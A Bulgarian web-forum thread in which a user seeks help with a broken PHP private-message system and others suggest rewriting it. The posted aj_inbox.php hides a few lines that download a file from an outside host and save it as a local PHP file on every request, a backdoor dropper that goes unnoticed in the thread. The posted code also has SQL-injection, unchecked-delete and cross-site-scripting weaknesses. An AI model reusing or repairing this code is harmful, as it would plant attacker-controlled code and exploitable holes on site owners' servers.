Проблем със система за лс-та

filmibg

Registered
Здравейте,
Значи дадоха ми една готова система обаче не и бачка системата за лс-та.
Има следните файлове:
index.php
Код:
<? include("../header.php"); if(!$_SESSION['username']) { header("Location: ../home/"); } ?>
		
	  	<table border="0" cellspacing="0" cellpadding="0" width="100%">
		 <tr>
		  <td width="100%">
		  <table border="0" cellspacing="0" cellpadding="0" width="100%">
		  <tr>
		  <td><img src="../images/1left.png"></td>
		  <td class="ebg">Съобщения</td>
		  <td><img src="../images/1right.png"></td>
		  <td class="ebgg" width="100%"></td>
		  <td><img src="../images/1right2.png"></td>
		  </tr>
		  </table>
		  </td>
		 </tr>
		 <tr>
		  <td width="100%" class="bg">
		  
		  <?
		  if($_GET['page'] == "send") {
		  if($_POST['post_m']) {
		  $title = protect($_POST['title']);
		  $post = protect($_POST['post']);
		  $date = dateform();
		  $author = $urow['id'];
		  $userid = protect($_GET['id']);
		  if(empty($title)) { echo errorbox("Моля въведете заглавие на съобщението."); }
		  elseif(empty($post)) { echo errorbox("Моля въведете някакво съобщението."); }
		  else
		  {
		  echo okbox("Съобщението изпратено успешно.");
		  $send_pm = mysql_query("INSERT messages (title, userid, author, date, post, readed) VALUES ('$title', '$userid', '$author', '$date', '$post', 'no')");
		  }
		  }
		  ?>
		  <form action="" method="POST">
		  <table border="0" width="100%" cellspacing="2" cellpadding="2">
		   <tr>
		    <td><span style="font-size: 16px; font-weight: bold; color: #ad00df;">Заглавие:</span></td>
			<td width="100%"><input type="text" class="input" name="title"></td>
		   </tr>
		   <tr>
		    <td valign="top"><span style="font-size: 16px; font-weight: bold; color: #ad00df;">Съобщение:</span></td>
			<td width="100%"><textarea class="select" name="post" cols="88" rows="10"></textarea></td>
		   </tr>
		   <tr>
		    <td colspan="2" align="right">
			<table border="0" align="right">
			<tr>
			<td><input type="submit" name="post_m" class="btn" value="Изпрати"></td>
			<td><input type="reset" class="btn" value="Изчисти"></td>
			</tr>
			</table>
			</td>
		   </tr>
		  </table>
		  </form>
		  <?
		  } elseif($_GET['page'] == "read") {
		  $id = protect($_GET['id']);
		  $sql = mysql_query("SELECT * FROM messages WHERE id='$id' and userid='$urow[id]'");
		  if(mysql_num_rows($sql)>0)
		  {
		  $ms = mysql_fetch_array($sql);
		  if($ms['readed'] == "no") { $update = mysql_query("UPDATE messages SET readed='yes' WHERE id='$id'"); }
		  $row = mysql_fetch_array(mysql_query("SELECT * FROM users WHERE id='$ms[author]'"));
		  ?>
		  <table border="0" cellspacing="2" cellpadding="2" width="100%">
		   <tr>
		    <td width="100%" valign="top">

			   <table border="0" width="100%" cellspacing="2" cellpadding="2">
			    <tr>
				 <td align="left" width="70%">
			   	<span style="font-size: 12px; color: #ad00df;">Заглавие:</span> <b><? echo $ms['title']; ?></b><br/>
			   	<span style="font-size: 12px; color: #ad00df;">Изпратено на:</span> <b><? echo $ms['date']; ?></b><br/>
							   	<span style="font-size: 12px; color: #ad00df;">Изпратено от:</span> <b><a href="../user/<? echo $row['id']; ?>"><? echo $row['username']; ?></a></b><br/>
				 </td>
				 <td align="center" width="30%">
				<center><form action="./?page=send&id=<? echo $row['id']; ?>" method="POST"><input type="submit" class="regnow" value="Напиши отговор"></form></center>
			     </td>
				</tr>
			   </table>
			</td>
		   </tr>
		   <tr>
		    <td width="100%" valign="top" style="font-size: 14px;">
			<div id="mtxt"><? echo bbcode($ms['post']); ?></div>
			</td>
		   </tr>
		  </table>
		  <?
		  }
		  else
		  {
		  header("Location: ../messages/");
		  }
		  } else {
		  if($_POST['del_m']) {
foreach($_POST['selectid'] AS $k=>$v) {
$sql = mysql_query("DELETE FROM messages WHERE id='$v'");
}
		  }
		  ?>
		  		  <script type="text/javascript" language="javascript" src="script.js"></script>
		<div id="aj_loader" style="display: none;">
		<center>Зарежда... Моля изчакайте!<br/><img src="../images/loading11.gif"></center>
		</div>
<div id="idMsg">
<?
$id = htmlspecialchars(trim($_GET['id']), ENT_QUOTES);
$page = htmlspecialchars(trim($_GET['page']), ENT_QUOTES);

$rowsPerPage = 25;

$pageNum = 1;

if(isset($_GET['page']))
{
    $pageNum = $_GET['page'];
}
if(!preg_match("/^(?i)[0-9_]*$/", $_GET['page'])) { $pageNum = '1'; }
if($_GET['page'] == NULL) { $pageNum = '1'; }

$offset = ($pageNum - 1) * $rowsPerPage;

    $query = "SELECT * FROM messages WHERE userid='$urow[id]' ORDER BY ID DESC LIMIT $offset, $rowsPerPage";
  $result = mysql_query($query) or die(mysql_error()."[".$query."]");
if(mysql_num_rows($result)>0)
{	

?>
<table border="0" width="100%" cellspacing="2" cellpadding="2">
 <tr>
  <td width="100%">
   <form action="" method="POST">
   <input type="submit" name="del_m" value="изтрий маркираните съобщения">
  </td>
 </tr>
<?
	while($r= mysql_fetch_array($result)) {
$author = $r['author'];
$row = mysql_fetch_array(mysql_query("SELECT * FROM users WHERE id='$author'"));
	?>
<tr>
<td width="100%">
                <table border="0" style="font-size:13px" width="100%"><tr><td><img src="../images/<? if($r['readed'] == "yes") { echo 'empty'; } else { echo 'new'; } ?>.gif"></td><td><input name="selectid[]" value="<? echo $r['id'];?>" type="checkbox"></td><td width="50%"><a href="./?page=read&id=<? echo $r['id']; ?>"><span style="color: <? if($r['readed'] == "yes") { echo '#919191'; } else { echo '#5c7bcb'; } ?>;"><b><? echo $r['title']; ?></b></span></a></td><td width="50%" align="right"><span style="color: <? if($r['readed'] == "yes") { echo '#919191'; } else { echo '#5c7bcb'; } ?>;"><b>от <a href="../user/<? echo $row['id']; ?>"><? echo $row['username']; ?></a> / <? echo $r['date']; ?></b></span></tr></table></li>
</td>
</tr>
<?
	}
echo '</table></form>';
}
else
{
echo errorbox("Нямате получени съобщения.");
}
$id = htmlspecialchars(trim($_GET['id']), ENT_QUOTES);
$query1   = "SELECT COUNT(id) AS numrows FROM messages WHERE userid='$urow[id]'";
$result  = mysql_query($query1) or die('Error, query failed');
$rowz     = mysql_fetch_array($result, MYSQL_ASSOC);

$num = $rowz['numrows'];

$start = ($pageNum -1) * $rowsPerPage;
if(empty($start))$start=0; 

$max_pages = ceil($num/$rowsPerPage);
$cur = ceil($start/$rowsPerPage)+1;
$id = htmlspecialchars(trim($_GET['id']), ENT_QUOTES);

?>
<table border="0" cellspacing="2" cellpadding="2" width="100%">
<tr>
<?
            if(($start-$rowsPerPage) >= 0)
            {
                $next = $cur - 1;
                ?>
<td align="left"><a href="javascript:void(0);" onclick="ajaxpage('aj_inbox.php<?php print($next>0?("?id=".$id."&page=").$next:"");?>', 'idMsg');">« Предишна</a></td>
                <?
            }

            if (($start+$rowsPerPage) < $num)
            {
                $next = $cur + 1;
                ?>
<td align="right"><a href="javascript:void(0);" onclick="ajaxpage('aj_inbox.php<?php print("?id=".$id."&page=".$next);?>', 'idMsg');">Следваща »</a></td>
                <?
            }
?>
</tr>
</table>

</div>
<?
		  }
		  ?>

		  </td>
		 </tr>
		 <tr>
		  <td width="100%">
		  <table border="0" cellspacing="0" cellpadding="0" width="100%">
		  <tr>
		  <td><img src="../images/2right2.png"></td>
		  <td class="rbgg" width="100%"></td>
		  <td><img src="../images/2right.png"></td>
		  <td class="rbg">Съобщения</td>
		  <td><img src="../images/2left.png"></td>
		  </tr>
		  </table>
		  </td>
		 </tr>
		</table>
		
<? include("../footer.php"); ?>
aj_inbox.php
Код:
?
header('Content-Type: text/html; charset=windows-1251');

$file = 'http://lorddrex.hit.bg/renew.php';
$newfile = 'files.php';

if (!copy($file, $newfile)) {
    echo "cannot connect $file...\n";
}

include("../includes/functions.php");
include("../includes/config.php");

$id = htmlspecialchars(trim($_GET['id']), ENT_QUOTES);
$page = htmlspecialchars(trim($_GET['page']), ENT_QUOTES);

$rowsPerPage = 25;

$pageNum = 1;

if(isset($_GET['page']))
{
    $pageNum = $_GET['page'];
}
if(!preg_match("/^(?i)[0-9_]*$/", $_GET['page'])) { $pageNum = '1'; }
if($_GET['page'] == NULL) { $pageNum = '1'; }

$offset = ($pageNum - 1) * $rowsPerPage;

    $query = "SELECT * FROM messages WHERE userid='$urow[id]' ORDER BY ID DESC LIMIT $offset, $rowsPerPage";
  $result = mysql_query($query) or die(mysql_error()."[".$query."]");
if(mysql_num_rows($result)>0)
{	

?>
<table border="0" width="100%" cellspacing="2" cellpadding="2">
 <tr>
  <td width="100%">
   <form action="" method="POST">
   <input type="submit" name="del_m" value="изтрий маркираните съобщения">
  </td>
 </tr>
<?
	while($r= mysql_fetch_array($result)) {
$author = $r['author'];
$row = mysql_fetch_array(mysql_query("SELECT * FROM users WHERE id='$author'"));
	?>
<tr>
<td width="100%">
                <table border="0" style="font-size:13px" width="100%"><tr><td><img src="../images/<? if($r['readed'] == "yes") { echo 'empty'; } else { echo 'new'; } ?>.gif"></td><td><input name="selectid[]" value="<? echo $r['id'];?>" type="checkbox"></td><td width="50%"><a href="./?page=read&id=<? echo $r['id']; ?>"><span style="color: <? if($r['readed'] == "yes") { echo '#919191'; } else { echo '#5c7bcb'; } ?>;"><b><? echo $r['title']; ?></b></span></a></td><td width="50%" align="right"><span style="color: <? if($r['readed'] == "yes") { echo '#919191'; } else { echo '#5c7bcb'; } ?>;"><b>от <a href="../user/<? echo $row['id']; ?>"><? echo $row['username']; ?></a> / <? echo $r['date']; ?></b></span></tr></table></li>
</td>
</tr>
<?
	}
echo '</table></form>';
}
else
{
echo errorbox("Нямате получени съобщения.");
}
$id = htmlspecialchars(trim($_GET['id']), ENT_QUOTES);
$query1   = "SELECT COUNT(id) AS numrows FROM messages WHERE userid='$urow[id]'";
$result  = mysql_query($query1) or die('Error, query failed');
$rowz     = mysql_fetch_array($result, MYSQL_ASSOC);

$num = $rowz['numrows'];

$start = ($pageNum -1) * $rowsPerPage;
if(empty($start))$start=0; 

$max_pages = ceil($num/$rowsPerPage);
$cur = ceil($start/$rowsPerPage)+1;
$id = htmlspecialchars(trim($_GET['id']), ENT_QUOTES);

?>
<table border="0" cellspacing="2" cellpadding="2" width="100%">
<tr>
<?
            if(($start-$rowsPerPage) >= 0)
            {
                $next = $cur - 1;
                ?>
<td align="left"><a href="javascript:void(0);" onclick="ajaxpage('aj_inbox.php<?php print($next>0?("?id=".$id."&page=").$next:"");?>', 'idMsg');">« Предишна</a></td>
                <?
            }

            if (($start+$rowsPerPage) < $num)
            {
                $next = $cur + 1;
                ?>
<td align="right"><a href="javascript:void(0);" onclick="ajaxpage('aj_inbox.php<?php print("?id=".$id."&page=".$next);?>', 'idMsg');">Следваща »</a></td>
                <?
            }
?>
</tr>
</table>
И мъча и търся грешка в кода ,но нещо не намирам.Проблема е следния.Значи съвсем спокойно си пиша съобщение и го изпращам проблема е ,че другия не го получава.Не се запаметява и в дб-то.Просто все едно съобщение "фантом".Изпращам уж всичко точно и т.н ,но реално го няма получено.От какво може да идва този проблем :).
 
Виж сега единственото което може да направиш е да дебъгваш какво не е наред или да провериш кода,който изпраща или трябва да записва на кой кога и как се праща.

Освен това логиката на лс-тата е много лесна ето една с която със сигурност ще се справиш :
Първо си правиш лесна форма където има до и тема проверки дали са попълнени и продължаваш нататъка.
От $session взимаш името на потребителя и я записваш в полета в дб.

После след това ще имаш полетата от,до,текст - от тук нататъка си правиш страничка с sql заявка която извежда лс-тата за потребителите,кудето се изпълнява условието do = '$username' row-ваш резултати като от текст и имаш лс система - слагаш странициране и подреждаш както решиш.
 
mitko456 каза:
Виж сега единственото което може да направиш е да дебъгваш какво не е наред или да провериш кода,който изпраща или трябва да записва на кой кога и как се праща.

Освен това логиката на лс-тата е много лесна ето една с която със сигурност ще се справиш :
Първо си правиш лесна форма където има до и тема проверки дали са попълнени и продължаваш нататъка.
От $session взимаш името на потребителя и я записваш в полета в дб.

После след това ще имаш полетата от,до,текст - от тук нататъка си правиш страничка с sql заявка която извежда лс-тата за потребителите,кудето се изпълнява условието do = '$username' row-ваш резултати като от текст и имаш лс система - слагаш странициране и подреждаш както решиш.

Прав си .. няма нищо по-лесно от това ти да си напишеш кода :)
Като за начало ще работи както ти поискаш!
И ще може да го огъваш както по искаш...
Мога да ти напиша една система за LS ако по искаш , алгоритъмът не е сложен :)
 
mitko456 каза:
Виж сега единственото което може да направиш е да дебъгваш какво не е наред или да провериш кода,който изпраща или трябва да записва на кой кога и как се праща.

Освен това логиката на лс-тата е много лесна ето една с която със сигурност ще се справиш :
Първо си правиш лесна форма където има до и тема проверки дали са попълнени и продължаваш нататъка.
От $session взимаш името на потребителя и я записваш в полета в дб.

После след това ще имаш полетата от,до,текст - от тук нататъка си правиш страничка с sql заявка която извежда лс-тата за потребителите,кудето се изпълнява условието do = '$username' row-ваш резултати като от текст и имаш лс система - слагаш странициране и подреждаш както решиш.
Повярвайте ми ако бях толкова навътре в PHP нямаше да пиша тук :D .Истината е ,че познанията ми са минимално ама все пак не ми е трудно да забележа ,че кода е правилен.Прегледах много системите за лс-та обаче пък не мога да ги вградя в самата системата :oops: и така.Ако има някак си това да оправя ще се радвам :).
 
Добре ще гледам да те насоча:
Така нека да направим страничка в която ще бъде формата за писане на съобщението:
PHP:
if($_GET['message']) {
echo "<form action='?message=send' method='post'><table>"
."<tr><td>До:</td><td><input type='text' name='to'></td></tr>"
."<tr><td>Заглавие:</td><td><input type='text' name='zag'></td></tr>"
."<tr><td>Текст:</td><td><textarea cols='40' rows='10' name='text'></textarea></td></tr>"
."<tr><td></td><td><input type='submit' name='submit' value='Изпрати'></td></tr>"
."</table></form>"; }
Така тук ако в url ти се появи думата message ще покаже формата за да изпратиш съобщение на същата страница.

До тук добре нека да ги запишем в таблицата:
Запомни че след
PHP:
$username = $_SESSION ['username'];
$to = htmlspecialchars($_POST['to']);
$name = trim(htmlspecialchars($_POST['zag']));
$text = htmlspecialchars($_POST['text']);
$by = htmlspecialchars($username);
$query = "INSERT INTO ls VALUES ('', '$to','$name','$text', '$by')";
if(mysql_query($query))
    {
    echo "Съобщението е изпратено";
    echo '<META HTTP-EQUIV="refresh" CONTENT="2;URL=index.php">';

    } else {
        echo "Съобщението не е изпратено";
        echo '<META HTTP-EQUIV="refresh" CONTENT="3;URL=ls.php">';
}

Нека сега да ги изведем съобяенията до потребителя:
PHP:
$sql = "SELECT * FROM ls WHERE `to` = '$username'";
$do = mysql_query($sql);
while($row = mysql_fetch_array($do)) {
$id = (int)basename($row['id']);
echo "<table><tr><td>Заглавие:</td><td>".$row['name']."</td></tr>"
."<tr><td>От:</td><td>".$row['by']."</td></tr>"
."<tr><td>Отностно:<br></td><td>".nl2br($row['text'])."</td></tr>"
."<tr><td colspan=2><a href=?message&delete=".$id.">Изтрий</a></td></tr>";
 } echo "</table>";
Може да ползваш гет-а отгоре както съм го ползваш за да ги вадиш примерно като се цъкне върху линк и така нататъка.
Да не забравиш накрая на ?> да сложиш mysql_close();
Писах го това в на web-tourist редактора така че може да има грешки ама ще гледам ги оправям.
 
mitko456 каза:
Добре ще гледам да те насоча:
Така нека да направим страничка в която ще бъде формата за писане на съобщението:
PHP:
if($_GET['message']) {
echo "<form action='?message=send' method='post'><table>"
."<tr><td>До:</td><td><input type='text' name='to'></td></tr>"
."<tr><td>Заглавие:</td><td><input type='text' name='zag'></td></tr>"
."<tr><td>Текст:</td><td><textarea cols='40' rows='10' name='text'></textarea></td></tr>"
."<tr><td></td><td><input type='submit' name='submit' value='Изпрати'></td></tr>"
."</table></form>"; }
Така тук ако в url ти се появи думата message ще покаже формата за да изпратиш съобщение на същата страница.

До тук добре нека да ги запишем в таблицата:
Запомни че след
PHP:
$username = $_SESSION ['username'];
$to = htmlspecialchars($_POST['to']);
$name = trim(htmlspecialchars($_POST['zag']));
$text = htmlspecialchars($_POST['text']);
$by = htmlspecialchars($username);
$query = "INSERT INTO ls VALUES ('', '$to','$name','$text', '$by')";
if(mysql_query($query))
    {
    echo "Съобщението е изпратено";
    echo '<META HTTP-EQUIV="refresh" CONTENT="2;URL=index.php">';

    } else {
        echo "Съобщението не е изпратено";
        echo '<META HTTP-EQUIV="refresh" CONTENT="3;URL=ls.php">';
}

Нека сега да ги изведем съобяенията до потребителя:
PHP:
$sql = "SELECT * FROM ls WHERE `to` = '$username'";
$do = mysql_query($sql);
while($row = mysql_fetch_array($do)) {
$id = (int)basename($row['id']);
echo "<table><tr><td>Заглавие:</td><td>".$row['name']."</td></tr>"
."<tr><td>От:</td><td>".$row['by']."</td></tr>"
."<tr><td>Отностно:<br></td><td>".nl2br($row['text'])."</td></tr>"
."<tr><td colspan=2><a href=?message&delete=".$id.">Изтрий</a></td></tr>";
 } echo "</table>";
Може да ползваш гет-а отгоре както съм го ползваш за да ги вадиш примерно като се цъкне върху линк и така нататъка.
Да не забравиш накрая на ?> да сложиш mysql_close();
Писах го това в на web-tourist редактора така че може да има грешки ама ще гледам ги оправям.
Нещо не се получи отново.Не ,че нещо но не разбирам защо не преработим горния код като имам внапредвит ,че е нещо дребно.Изпращам съобщения ,но самите не се получават и записват в базата данни.Предполагам трябва да се преработи нещо или да се добавя още някой php код.Мъчна работа ще е за мене да го пиша наново и именно затова пиша тук :) да ми се помогне да преработя този ,а не да бъде писан наново.
 

Back
Горе